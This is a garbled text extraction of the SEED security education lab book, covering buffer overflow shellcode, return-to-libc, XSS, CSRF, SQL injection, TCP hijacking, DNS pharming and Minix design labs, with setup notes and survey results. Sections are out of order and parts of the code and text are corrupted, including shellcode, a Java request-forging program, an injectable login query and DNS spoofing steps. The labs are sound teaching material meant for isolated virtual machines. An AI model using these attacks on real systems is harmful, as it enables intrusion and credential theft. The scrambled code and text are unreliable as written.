69. www example2 com DocumentRoot var www Example_2 lt VirtualHost gt You may modify the web application by accessing the source in the mentioned directories For example with the above configuration the web application http www examplel com can be changed by modifying the sources in the directory var www Example_1 Disabling Cache The lab tasks require you to make some modifications to the web applications while you are using them To ensure the web browser always fetches the page from the modified web application and not from the web browsers cache you can disable the web browser s local cache as follows Type about config in the address bar and setup the following preferences in the web page you see browser cache memory enabl x set to false default true browser cache disk enable x set to false default true x browser cache check_doc_frequency 1 everytime default 3 as needed x You may re enable the cache after your lab so that there is no performance degradation of your browsing activities afterward 140 Laboratory for Computer Security Education 3 Note for instructors This lab may be executed in a supervised fashion in a lab environment In such cases the instructor may provide some background information at the beginning of the lab such as 1 How to use the Firefox browser and the LiveHTTPHeadersExtension 2 How to use the pre configured vir
70. www originalphpbb com var www OriginalPhpbb www soplab com 8080 var www SOP Configuring DNS The above URL is only accessible from inside of the virtual machine because we have modified the etc hosts file to map each domain name to the virtual machine s local IP address 127 0 0 1 You may map any domain name to a particular IP address using the etc hosts For 149 SEED Document 4 example you can map http www example com to the local IP address by appending the following entry to etc hosts file TAT O08 www example com Therefore if your web server and browser are running on two different machines you need to modify the etc hosts file on the browser s machine accordingly to map the target domain name to the web server s IP address 4 3 Other Servers DNS server The DNS server bind9 is installed It can be started by running service bind9 start The configuration files are under etc bind Ftp server The vsftpd very secure ftp daemon server is installed It can be started by running Service vsftpd start Telnet server The telnetd server is installed It can be started by running service openbsd inetd start 5 Miscellanious Configuration Time zone Currently the time zone is set to be New York adjust that to the time zone of your location Display resolution The current Display resolution is 1024 768 You can change it at System Prefer ences Display 6 Configu
71. you can gain the root privilege Note In Minix 3 bin chroot is owned by bin by default You may have to change the ownership to root for set root uid to work a Can you run a set root uid program inside a jail Keep in mind once you are inside a jail you cannot see any file outside of the jail unless you do something before hand Therefore you need to copy a number of commands and libraries into the jail first It should be noted that copying a set root uid program by a normal user does not preserve the set root uid property b wm Assume that you can run su or Login set root uid programs inside a jail can you get a root shell Think about how passwords are checked by these programs Note You may have to create etc passwd and etc shadow within the jail directory In Linux you may need to copy PAM Pluggable Authentication Module related files to the jail because authentication might go through PAM c Having a root shell inside a jail can only do limited damage It is difficult if possible to apply the root privileges on objects that are outside of the jail To achieve a greater damage you would like to maintain the root privilege after you get out of that jail Unfortunately to get out the process running within the jail has to exit first and the root privileges of that process will be lost Can you regain the root privileges after you get out of the jail You might have to do something within the jail before you
72. 22 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Description The learning objective of this lab is two fold First this lab provides students with an oppurtunity to integrate two access control principles capability and the Role Based Access Control RBAC to enhance system security Second this lab allows students to apply their critical thinking skills to analyze their design of the system to ensure that the system is secure In this lab students will implement a simplified capability based RBAC system for Minix The simpli fication on RBAC is based on the RBAC standard proposed by NIST 1 This lab is quite comprehensive students should expect to spend 4 to 6 weeks on this lab Students should have a reasonable background in operating systems because kernel programming and debugging are required 2 Lab Tasks 2 1 Task 1 Capabilities 40 points In a capability system when a process is created it is initialized with a list of capabilities tokens When the process tries to access an object the operating system checks the capabilities of the process and decides whether to grant the access or not In this lab we have defined 80 capabilities but only 6 of them are meaningful and need imple
73. 7 in the child process assume that the child process is ckers have injected the following this process fd Malicious Data 14 fd no longer needed ges permanently x real uid x compromised malicious statements You need to submit a detailed lab report to describe what you have done and what you have observed you also need to provide explanation to the observations that are interesting or surprising 39 40 Laboratory for Computer Security Education 1 Chroot Sandbox Vulnerability Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Overview The learning objective of this lab is for students to substantiate an essential security engineering principle the compartmentalization principle by studying and evaluating the chroot mechanism implemented in Unix operating systems The basic idea of compartmentalization is to minimize the amount of damage that can be done to a system by breaking up the system into as few
74. 92 168 0 0 16 Client 0 29 d2 d6 dd 192 168 133 201 GW2 setIP 192 168 131 201 Netmask 255 255 0 0 host 192 168 0 0 16 Client 0 c 29 ab b5 e4 192 168 131 201 Verification After the change reboot machine then use the following command to check the results ifconfig 117 118 Laboratory for Computer Security Education 1 Firewall Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Overview The learning objective of this lab is for students to learn how firewall works by implementing a simple personal firewall for Minix A personal firewall controls network traffic to and from a computer permitting or denying communications based on a security policy Firewalls have several types in this lab we focus on a very simple type the packet filter Packet filters act by inspecting the packets if a packet matches the packet filter s set of rules the packet filter will drop the packet either silently or send an error respo
75. E Our goal is to change bin sh and let it point back to bin bash However if we login as a root at that time we only have a read only file system We need to remount the whole file system to be able to write 151 SEED Document 3 Reboot the system The X Server error should go away 8 Change Log Version 1 1 on 25 Aug 2009 e Downloaded and installed libnet 1 0 2a e uninstalled libnetl dev because it conflict with the new installation e Downloaded and installed pacgen 1 01 It s located on the Desktop of user seed Version 1 0 on 23 Jun 2009 e Created as described above 152 SEED Document Evaluation of SEED Labs After several years deployment of SEED labs internally and externally we have accumulated a significant amount of data for a comprehensive evaluation of our project Our evaluation focuses on two aspects the impact on our own students and the impact on the external students instructors The objective of the evaluation results is not only to help us understand more about our labs but more importantly they allow the potential users instructors to see how our students think about these labs and whether students from other universities are using our labs Survey Results To measure the impact on our own students we asked our students to fill out an anony mous survey form when they finish each lab We have pooled these survey results from Syracuse University and our partner institutes
76. I spent on the lab was worthwhile Q4 Level of difficulty of this lab A Very easy B Someuhat easy C Average D Somewhat difficult E Very difficult a Oo Q9 The lab was a valuable part of this course A Strongly disagree B Disagree C Neutral O Agree E Strongly agree 41 8 58 5 153 Ma Me Mc Bo Be SEED Document Q1 Level of familiarity with Unix ANo Experience B Know some commands C Application level development experience D Kernel level development experience E None 40 5 d 35 1 24 3 05 Level of interest in the lab A Very low B Lou C Average D High E Very high Gn 21 6 45 9 Q10 As a result of the lab I am more interested in computer security A Strongly disagree B Disagree C Neutral D Agree E Strongly agree a r 43 2 Survey Results TCP IP Attack Lab Q2 My preparation was sufficient A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 21 6 D 56 8 y 18 9 Q6 Approximate hours spent on this lab A 0 10 hours B 11 20 hours C 21 30 hours D 31 50 hours E gt 50 hours 21 6 m LA 5 4 5 4 32 4 Q11 Overall I have attained the learning objectives of the lab A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 16 2 2 7 Q3 The lab instructions were clear A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 16 2 gt 5 4 62 2 J 16 2 Q7 The time I spent
77. Laboratory for Computer Security Education 3 vulnerabilities in ping the entire system can be compromised The question is whether we can remove these privileged from ping Let us turn bin ping into anon Set UID program This can be done via the following command you need to login as the root chmod u s bin ping Note Binary files like ping may locate in different places in different distribution of Linux use which ping to locate your ping program Now run ping www google com and see what happens Interestingly the command will not work This is because ping needs to open RAW socket which is a privileged operation that can only be conducted by root before capabilities are implemented That is why ping has to be a Set UID program With capability we do not need to give too much power to ping Let us only assign the cap_net_raw capability to ping and see what happens S su root setcap cap_net_raw ep bin ping su normal_user S ping www google com Question 1 Please turn the following Set UID programs into non Set UID programs without affect ing the behaviors of these programs e usr bin passwd Question 2 You have seen what we can do with the cap_net_raw capability We would like you to get familiar with several other capabilities For each of the following capabilities do the following 1 explain the purpose of this capability 2 find a program to demonstrate the effect of these
78. P SECX x WVx9 9 x Line 9 cdql x xb0 x0b Line 10 movb S0x0b al xcd x80 x Line 11 int 0x80 x int main int argc char xargv char buf sizeof code strcpy buf code void buf A few places in this shellcode are worth mentioning First the third instruction pushes sh rather than sh into the stack This is because we need a 32 bit number here and sh has only 24 bits Fortu nately is equivalent to so we can get away with a double slash symbol Second before calling the execve system call we need to store name 0 the address of the string name the address of the array and NULL to the ebx ecx and edx registers respectively Line 5 stores name 0 to Sebx Line 8 stores name to ecx Line 9 sets edx to zero There are other ways to set Sedx to zero e g xorl edx edx the one cdql used here is simply a shorter instruction Third the system call execve is called when we set al to 11 and execute int 0x80 2 3 The Vulnerable Program x stack c x x This program has a buffer overflow vulnerability Our task is to exploit this vulnerability include lt stdlib h gt include lt stdio h gt include lt string h gt int bof char xstr Laboratory for Computer Security Education 4 char buffer 12 x The following statement has a buffer overflow problem strcpy buffe
79. PSec protection to a packet the Transport mode and the Tunnel mode In this lab you only need to implement the ESP tunneling mode In ESP the authentication is optional however in this lab we make it mandatory Namely the ESP authentication part should be included in every ESP packet BEFORE APPLYING ESP IPv4 orig IP hdr any options TCP Data AFTER APPLYING ESP IPv4 New IP hdr ESP orig IP hdr ESP ESP any options Hdr any options TCP Data Padding Auth lt ncrypted gt lt authenticated gt 107 Laboratory for Computer Security Education 2 2 Security Association SA To enable IPSec between two hosts the hosts must be configured Con figuration of IPSec is achieved by defining Security Associations SAs A Security Association is a simplex connection that affords security services to the traffic carried by it To secure typical bi directional com munication between two hosts or between two security gateways two Security Associations one in each direction are required A security association is uniquely identified by a triple consisting of a Security Parameter Index SPI an IP Destination Address and a security protocol AH or ESP identifier There are two types of SAs transport mode and tunnel mode Since in this lab we only implement the tunnel mode so we only have the tunnel mode SA We use an example to illu
80. S Queries from DNS servers to be 33333 This can be done by adding the following option to the file et c bind named conf options query source port 33333 3 DNS Bind Server Flush the DNS Bind Server s Cache Restart DNS Bind Server with the earlier mentioned commands Attack Tool and Method To be able to send a large number of forged DNS response packets within a short time window we need to use some automation tools The pacgen tool can be used for this purpose More details about the tool are described later We outline the use of this tool here 1 Modify the pacgen c file by appropriately filling the DNS response fields To understand the format of DNS response packet you can use Wireshark to capture a few DNS response packets and study them After modifying pacgen c the pacgen program should be able to flood the targeted DNS server with many forged DNS response packets each trying a different transaction ID 2 Write another program to do the following a Ping an unavailable domain name in a particular parent domain like xyz dnsphishinglab This will trigger the DNS queries b Run the modified pacgen program to forge corresponding DNS response packets If one packet happens to have the correct transaction ID and it is received before the real response comes your attack will be successful c You should run a loop to repeat the above two steps each using a different domain name ac cording to Kaminsky s strateg
81. SEED A Suite of Instructional Laboratories for Computer SEcurity EDucation Wenliang Kevin Du Department of Electrical Engineering and Computer Science 4 206 CST Building Syracuse University Syracuse New York 13244 Email wedu syr edu_ Tel 315 443 9180 URL http www cis syr edu wedu seed Table of Contents Colors Brown Small labs requiring 2 hours in a supervised lab or 1 week as a homework Blue Intermediate labs requiring 1 2 weeks Green Comprehensive labs good for final projects requiring 4 6 weeks 1 Introduction 1 2 Guidelines Which SEED labs should I use 2 3 Environment setup 7 4 Vulnerability and Attack Labs using Linux OS 1 Buffer Overflow Vulnerability Lab 9 2 Retrun to libc Attack Lab 17 3 Format String Vulnerability Lab 27 4 Race Condition Vulnerability Lab 31 5 Set UID Program Vulnerability Lab 35 6 Chroot Sandbox Vulnerability Lab 41 7 Cross Site Request Forgery Attack Lab 45 8 Cross Site Scripting Attack Lab 51 9 SQL Injection Attack Lab 61 10 TCP IP Attack Lab 63 11 DNS Pharming Attack Lab 69 5 Design Implementation Labs using Minix OS 1 Role Based Access Control Lab 81 2 Capability Lab 89 3 Encrypted File System Lab 93 4 Address Space Layout Randomization Lab 101 5 Set RandomUID Lab a simple sandbox 105 6 IPSec Lab 107 7 Firewall Lab 119 Sponsored by NSF CCLI Program Phase I E Table of Contents continued 6 Exploration Labs us
82. SH server is configured to listen on that port 120 Laboratory for Computer Security Education 3 e minifirewall PORT 80 PROTO ALL LOGFILE HTTPLOG FORWARD Log all traffic to and from port 80 on host machine to a file called HTTPLOG in the current directory T e minifirewall A ALL PRINT Print to screen all active rules e minifirewall Z Flush out all rules 4 Suggestions We have compiled a list of suggestions in the following Please read them carefully before you start the labs 1 An important distinction Before you start coding your firewall it is essential to focus on design A proper approach to designing is to make a distinction between mechanism and policy While mechanism provides the different ways an action can be performed policies defines the actions to be performed With reference to this lab packet filtering is a mechanism whereas filtering rules are policies To better explain this important distinction consider that we select a design where packets that are sent to and from 127 0 0 1 are always ignored in the inet code This is a not so good design because we are imposing a restriction on the mechanism by putting a block on the kind of packets that can be filtered Instead a better approach is to let the user decide what to do when a packet is from and to 127 0 0 1 2 Code Reading To read Minix source it is quite inconvenient to do so in the Minix environment because o
83. Stack onHeap free onHeap return 0 3 1 Stack Randomization The above program should print a different value of the stack on each execution usr src servers pm would be good place to insert your code in 3 2 Heap Randomization Heap randomization assures that the starting address of the heap is different for each execution You would need to modify the malloc library call defined in usr src 1lib ansi to achieve this 4 Submission and Demonstration You should submit a detailed lab report to describe your design and implementation You should also de scribe how you test the functionalities and security of your system You also need to demonstrate your 103 Laboratory for Computer Security Education 4 system to us Please sign up a demonstration time slot with the TA Please take the following into consider ation when you prepare for demonstraiton e The total time of the demo will be 15 minutes no more additional time would be given So prepare your demonstration so you can cover the important features e You are entirely responsible for showing the demo We will NOT even touch the keyboard during the demonstration so you should not depend on us to test your system If you fail to demo some important features of your system we will assume that your system does not have those features e You need to practice before you come to the demonstration If the system crashes or anything goes wrong it is your own
84. We need to setup the lab environment as the figure below To simplify the lab environment we let the user s computer DNS server and attacker s computer be on one physical machine but using different virtual machines The website used in this lab can be any website Our configuration is based on Ubuntu which is the operating system we use in our pre built virtual machine User DNS Server Attacker 192 168 0 100 192 168 0 10 192 168 0 200 ye se eee LAN or Virtual Network Internet The above is the figure of the lab environment As you can see we set up the DNS server the user machine and the attacker machine in the same LAN We assume that the user machine s IP ad dress is 192 168 0 100 the DNS Server s IP is 192 168 0 10 and the attacker machine s IP is 192 168 0 200 Note for Instructors For this lab a lab session is desirable especially if students are not familiar with the tools and the environments If an instructor plans to hold a lab session by himself herself or by a TA it is suggested the following to be covered in the lab session We assume that the instructor has already covered the concepts of the attacks in the lecture so we do not include them in the lab session 69 Laboratory for Computer Security Education 2 1 The use of the virtual machine software 2 The use of Wireshark Netwag and Net wox tools 3 Configuring the DNS server 2 1 Install and Configure the DNS server
85. _proc if mycaps NULL return 1 if cap_set_flag mycaps CAP_EFFECTIVE 1 amp capflag CAP_CLEAR 0 return 1 if cap_set_flag mycaps CAP_PERMITTED 1 amp capflag CAP_CLEAR 0 return 1 if cap_set_proc mycaps 0 return 1 return 0 Run the following command to compile and install the updated Libcap After the library is installed programs can use these three library functions that we have just added cd libcap_directory make make install Question 3 Compile the following program and assign the cap_dac_read_search capability to the executable Login as a normal user and run the program Describe and explain your observations 131 Laboratory for Computer Security Education 6 use_cap c include lt fcntl h gt include lt sys types h gt include lt errno h gt include lt stdlib h gt include lt stdio h gt include lt linux capability h gt include lt sys capability h gt int main void if open etc shadow O_RDONLY lt 0 printf a Open failed n Question a is the above open sucessful why if cap_disable CAP_DAC_READ_SEARCH lt 0 return 1 if open etc shadow O_RDONLY lt 0 printf b Open failed n Question b is the above open sucessful why if cap_enable CAP_DAC_READ_SEARCH lt 0 return 1 if open etc shadow O_RDONLY lt 0 printf c Open
86. a hard error to either of the two endpoints of a TCP connection The connection can be immediately torn down as RFC 1122 states that a host should abort the corresponding connection when receiving such an ICMP error message RFC 1122 defines hard errors as ICMP error messages of type 3 Destination Unreachable codes 2 protocol unreachable 3 port unreachable and 4 fragmentation needed and DF bit set When launching this attack students should be noted that some systems may reasonably ignore this type of ICMP errors in certain TCP state 66 Laboratory for Computer Security Education 3 7 TCP Session Hijacking The objective of the TCP Session Hijacking attack is to hijack an existing TCP connection session between two victims by injecting malicious contents into this session If this connection is a telnet session attackers can inject malicious commands into this session causing the victims to execute the malicious commands We will use telnet in this task We also assume that the attackers and the victims are on the same LAN client SYN Seqence Number X 3 8 SYN ACK Sequence Number Y Ack Number X 1 ACK Acknowledge Number Y 1 Data A Sequence Number X 1 Acknowledge Number X 2 Normal TCP 3 way handshake and sending data between client and server client Acknowledge Number X 1 attacker Data Z Sequence Number X 2
87. add_routes c give you a good example on how to use the system calls 5 Network Setup for VPN Demonstration Please refer to our document IPSec Gateway to Gateway Network Configuration This document is listed in the lab web page 5 Software Engineering It should be noted that building software for security purpose is quite different from traditional software engineering Although the common professional software engineering practice still applies to this project to ensure that the developed software system works correctly extra engineering principles should be followed to ensure the system works securely e Threat evaluation Before designing a system developers should evaluate the potential attacks that the system might face The design of the system should address how the system can defeat these attacks In your final project report you need to include such threat evaluation e Using cryptographic algorithms correctly Although the cryptographic algorithms that you use might be strong using them incorrectly will still make your system vulnerable There are many real world stories regarding the misuse of encryption and one way hash algorithms In this project you should make sure that you follow good practice Choice of algorithms Although in this lab we have chosen the encryption and MAC algorithms for you In real world when you need to make your own choice you need to understand the strength and weakness of the algorithm
88. al computing platform while each guest computer can run its own operating system such as Minix and Linux The guest computers and the host com puter can form virtual networks These virtual machines and virtual networks form our SEED instructional environment For students who do not have personal computers instructors can ask their system administrators to install virtual machine software on the machines in public laboratories However since students need their own individual virtual machines and each virtual machine needs 300 MB to 2 GB disk space this approach creates a high demand on disk space on public machines which is impractical in many institutions This can SEED Document 2 be solved with the help of less expensive portable storage media students can store their virtual machines on portable hard disks or flash drive and work on their lab assignments on any public machines that have VMware installed 3 Virtual Machines Software The SEED environment can be created using virtual machine software such as VMware Virtual PC and VirtualBox These softwares are free VirtualBox is an open source virtual machine software and it is free Virtual PC software can be downloaded free of charge from Microsoft s website VMware has established an academic program that makes the license of all VMware software free for educational uses Although VMware also offers a free product called VMware Player we recommend not to use the Player but
89. al machine To mitigate SQL injection 61 Laboratory for Computer Security Education 2 attacks MySQL does not allow a SQL statement to run multiple SQL queries This makes it impossible to attach another SQL query to an existing one However such a countermeasure does not completely get rid of the SQL injection attacks Although attackers cannot force MySQL to run multiple SQL queries they can still achieve damage using one SQL query In login php the password verification is conducted using an SQL statement described in the fol lowing SELECT user_id username user_password user_active user_level user_login_tries user_last_login_try FROM USERS_TABLE WHERE username Susername AND user_password md5 Spassword Tr if found one record then authenticate the user The above SQL query will find a record that matches with the information in username and password If such a record exists the user will be authenticated There is a SQL injection vulnerability in the above query Your goal is to get yourself authenticated without a correct password Please write down in details your attacks and observations in the report 4 Submission You need to submit a detailed lab report to describe what you have done and what you have observed You also need to provide explanation to the observations that are interesting or surprising 62 Laboratory for Computer Security Education 1 Attack La
90. approach Obviously these keys cannot be stored on the disk in plaintext otherwise adversaries can find those keys after they have stolen the disk On the other hand we cannot ask users to type each of those keys every time they try to access a file because no user can remember all these keys This is a dilemma that you have to solve in your EFS design b Where to store key related information A number of places can be used to store key related in formation One of the places is the i node data structure However i node does not provide enough space to store extra information that you need There are two difference approaches to solve this problem one requires a modification of i node and the other redefines a field of i node Please see Section 4 1 for details Another place that can be used to store key related information is the superblock Please see Section 4 2 for details c Authentication Users must be authenticated before he can access the EFS This authentication is not to authenticate users per se instead its focus is to ensure that users provide the correct key information Without the authentication a user who types a wrong key might corrupt an encrypted file if such a key is directly or indirectly used for encrypting decryption files Depending on your design authentication can be conducted in different ways One way is to just au thenticate the root who initially sets up the EFS another way is to authenticate each user
91. are not visible to the outside their IP addresses are not routable from the outside e g many use 192 168 prefix This setting is sufficient for most of our SEED labs If you want your VMs to be visible to the outside e g you want to host a HTTP server in a VM and you want to access it through the Internet then you have to set the Network connection to Bridged 147 SEED Document 2 3 Libraries and Software 3 1 Libraries and Applications Installed Besides the packages coming with the Ubuntu 9 installation the following libraries and applications are additionally installed using the apt get install command tcl tk libnetl libnetli dev libpcap0O 8 dev libattrl dev vim apache2 php5 libapache2 mod php5 mysql server wireshark bind9 nmap sun java6 jdk xpdf vsftpd telnetd zsh The libcap 2 16 and netlib netwox netwag 5 35 0 have been compiled and installed from the source downloaded from the Internet 3 2 Softwares configuration Netlib netwox netwag 5 35 0 Net wox is a network toolbox netwag is a GUI of netwox They can be found in usr local bin The ICMP spoofing bug of net wox has been fixed It should be noted that running netwox netwag requires the root privilege Wireshark Wireshark isa network protocol analyzer for Unix and Windows It is located in usr bin Wireshark requires the root privilege to run Nmap Nmap isa free security scanner for network exploration and hacking It
92. ators to make stacks non executable therefore jumping to the shellcode will cause the program to fail Unfortunately the above protection scheme is not fool proof there exists a variant of buffer overflow attack called the return to libc attack which does not need an executable stack it does not even use shell code Instead it causes the vulnerable program to jump to some existing code such as the system function in the libc library which is already loaded into the memory In this lab students are given a program with a buffer overflow vulnerability their task is to develop a return to libc attack to exploit the vulnerability and finally to gain the root privilege In addition to the attacks students will be guided to walk through several protection schemes that have been implemented in Ubuntu to counter against the buffer overflow attacks Students need to evaluate whether the schemes work or not and explain why 2 Lab Tasks 2 1 Lab Environment You can execute the lab tasks using the preconfigured Ubuntu machine Ubuntu and several other Linux based systems use address space randomization to randomize the starting address of heap and stack This makes guessing the exact addresses difficult guessing addresses is one of the critical steps of buffer overflow attacks In this lab we disable this feature using the following command S su root Password enter root password sysctl w kernel randomize_va_space 0 ExecShield Protec
93. atory for Computer Security Education http www xsslabphpbb com posting php POST posting php HTITP 1 1 Host www xsslabphpbb com User Agent Mozilla 5 0 X11 U Linux i686 Accept text html application xhtml xml application xml q 0 9 q 0 8 Accept Language en us en q 0 5 Accept Encoding gzip deflate Accept Charset ISO 8859 1 utf 8 q 0 7 q 0 7 Keep Alive 300 Connection keep alive Referer http www xsslabphpbb com posting php mode newtopic amp f 1 Cookie phpbb2mysql_data phpbb2mysql_sid Content Type application x www form urlencoded Content Length 376 subject lt Content of the message gt HTTP 1 x 200 OK Date Thu 11 Jun 2009 19 43 15 GMT Server Apache 2 2 11 Ubuntu PHP 5 2 6 3 X Powered By PHP 5 2 6 3ubuntu4 1 Set Cookie phpbb2mysql_data XXXXXXXXXXX expires Fri GMT path Set Cookie phpbb2mysql_sid YYYYYYYYY path Set Cookie phpbb2mysql_t XXXXXXXXXXX path Cache Control private pre check 0 post check 0 max age 0 Expires 0 Pragma no cache Vary Accept Encoding Content Encoding gzip Content Length 3904 Keep Alive timeout 15 max 100 Connection Keep Alive Content Type text html Figure 1 Screenshot of LiveHTTPHeaders Extension 59 60 Laboratory for Computer Security Education 1 SQL Injection Attack Lab Copyright 2006 2009 Wenliang Du Syracuse University The develop
94. b Attacks on TCP IP Protocols Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Overview The learning objective of this lab is for students to gain the first hand experience on the vulnerabilities of TCP IP protocols as well as on attacks against these vulnerabilities The vulnerabilities in the TCP IP protocols represent a special genre of vulnerabilities in protocol designs and implementations they provide an invaluable lesson as to why security should be designed in from the beginning rather than being added as an afterthought Moreover studying these vulnerabilities help students understand the challenges of network security and why many network security measures are needed Vulnerabilities of the TCP IP protocols occur at several layers 2 Lab Environment 2 1 Environment Setup Network Setup To conduct this lab students need to have at least 3 machines One computer is used for attacking the second computer is used as the victim and the third computer is u
95. bash exit stack launch the attack by running the vulnerable program There are ways to get around this protection scheme You need to modify the shellcode to achieve this We will give 10 bonus points for this attack Hint although bin bash has restriction on running Set UID programs it does allow the real root to run shells Therefore if you can turn the current Set UID process into a real root process before invoking bin bash you can bypass the restriction of bash The setuid system call can help you achieve that 2 6 Task 3 Address Randomization Now we turn on the Ubuntu s address randomization We run the same attack developed in Task 1 Can you get a shell If not what is the problem How does the address randomization make your attacks difficult You should describe your observation and explanation in your lab report You can use the following instructions to turn on the address randomization S su root Password enter root password sbin sysctl w kernel randomize_va_space 2 If running the vulnerable code once does not get you the root shell how about running it for many times You can run stack in the following loop and see what will happen If your exploit program is designed properly you should be able to get the root shell after a while You can modify your exploit program to increase the probability of success i e reduce the time that you have to wait sh c while 1 do stack done
96. be why 5 Submission You need to submit a detailed lab report to describe what you have done and what you have observed Please provide details using LiveHTTPHeaders Wireshark and or screen shots You also need to provide explanation to the observations that are interesting or surprising 50 Laboratory for Computer Security Education 1 Cross Site Scripting XSS Attack Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Overview Cross site scripting XSS is a type of vulnerability commonly found in web applications This vulnerability makes it possible for attackers to inject malicious code e g JavaScript programs into victim s web browser Using this malicious code the attackers can steal the victim s credentials such as cookies The access control policies i e the same origin policy employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability Vulnerabilities of this kind can potentially lead to larg
97. bers instead of instruction addresses are used in this explanation e Line 28 29 These two statements push the value 1 i e the argument to the foo into the stack This operation increments esp by four The stack after these two statements is depicted in Fig ure 1 a e Line 30 call foo The statement pushes the address of the next instruction that immediately follows the call statement into the stack i e the return address and then jumps to the code of foo The current stack is depicted in Figure 1 b e Line 9 10 The first line of the function foo pushes ebp into the stack to save the previous frame pointer The second line lets Sebp point to the current frame The current stack is depicted in Figure 1 c e Line 11 subl 8 esp The stack pointer is modified to allocate space 8 bytes for local 24 Laboratory for Computer Security Education 9 variables and the two arguments passed to print f Since there is no local variable in function foo the 8 bytes are for arguments only See Figure 1 d 3 5 Leaving foo Now the control has passed to the function foo Let us see what happens to the stack when the function returns e Line 16 leave This instruction implicitly performs two instructions it was a macro in earlier x86 releases but was made into an instruction later mov ebp esp pop ebp The first statement release the stack space allocated for the function the second statement recover the
98. bilities affect your access control Although the dummy capa bilities will not affect access control they need to be included in your system so we can assign them to roles in the RBAC part Moreover you should be able to show their existence in your demonstration One possible way is to implement a mechanism that can be used by administrators to print out any process s capabilities You are warned that the person who provides the above capability requirements have not fully thought through the security consequence of the requirements Therefore if you implement the above requriements as they are your system might be flawed Remember that an important goal of designing these capabilities is to divide the super powerful root privileges into smaller less powerful privileges so they can be used to achieve the principle of least privileges in applications If a person who is assigned a privilege A can get more privileges using A your system has a security flaw It is your responsibility to revise the above requirements to make them secure You need to fully analyze their security consequences document your analysis and provide a revised and secure set of requirements in your report If your system is flawed we will deduct up to 30 points regardless how beautiful your system is or how many nice features you have implemented 2 2 Task 2 Managing Capabilities Using RBAC 40 points With these many 80 capabilities and many users it is difficult
99. bility system Here are the capabilities that you need to implement in this lab 1 CAP_READ Allow read on files and directories It overrides the ACL restrictions regarding read on files and directories 2 CAP_CHOWN Overrides the restriction of changing file ownership and group ownership 3 CAP_SETUID Allow to change the effective user to another user Recall that when the effective user id is not root callings of setuid and seteuid to change effective users are subject to certain restrictions This capability overrides those restrictions 89 Laboratory for Computer Security Education 2 4 CAP_KILL Allow killing of any process It overrides the restriction that the real or effective user ID of a process sending a signal must match the real or effective user ID of the process receiving the signal 5 CAP_SYS_BOOT Allow rebooting the system A command should be implemented for the superuser to assign capabilities to or remove capabilities from a program It should be noted that the above five capabilities are independent if a capability is not assigned to a program the program cannot gain this capabilities from other capabilities For example if a program has only the CAP_SETUID capability it should not be able to use this capability to gain any of the other capabilities You should be warned that the above description of capabilities was intentionally made vague and incomplete such that a design that exactly follows the
100. c class HTTPSimpleForge public static void main String args throws IOException try int responseCode InputStream responseIn null URL to be forged URL url new URL http www xsslabphpbb com profile php URLConnection instance is created to further parameterize a resource request past what the state members of URL instance can represent URLConnection urlConn url openConnection if urlConn instanceof HttpURLConnection urlConn setConnectTimeout 60000 urlConn setReadTimeout 90000 54 Laboratory for Computer Security Education addRequestProperty method is used to add HTTP Header Information Here we add User Agent HTTP header to the forged HTTP packet urlConn addRequestProperty User agent Sun JDK 1 6 HTTP Post Data which includes the information to be sent to the server String data username admin seed admin s40seed com DoOutput flag of URL Connection should be set to true to send HTTP POST message urlConn setDoOutput true OutputStreamWriter is used to write the HTTP POST data to the url connection OutputStreamWriter wr new OutputStreamWriter urlConn getOutputStream wr write data wr flush HttpURLConnection a subclass of URLConnection is returned by url openConnection since the url is an http request if urlConn instanceof HttpURLConnection HttpURLConnection httpConn HttpURLConnection ur
101. call implementation manual supplied by your TA READ Chapter 5 of the Minix book 3 MODULARIZE your design and implementation This project can be modularized into 3 distinct stages file system modification encryption and decryption and key management File system modification should be drive by the design of your key management DO NOT leave memory leaks and dangling pointers any where in your code FOLLOW incremental development strategy Compile the kernel at every stage and test your changes Put printf statements in your code to trace the kernel code Even while writing small benign functions compile and test your code to see the effect It pays to be paranoid you don t want your code to fail during the demo which does happen if there is a memory leak that leads to a race condition USE var log messages which stores the sartup messages You can refer to it if the screen scrolls too fast KEEP a copy of the original image in your home directory You can revert to it if something fails USE the snapshot feature of Vmware as version control Take a snapshot if a feature is completely implemented It is easier to revert to a snapshot rather than finding the code snippet to delete USE the right image The image tracker of Minix is buggy To be sure that you are using the right image please follow these steps a halt b d0d0s0 gt ls boot image List all the images present c dOp0s0O gt
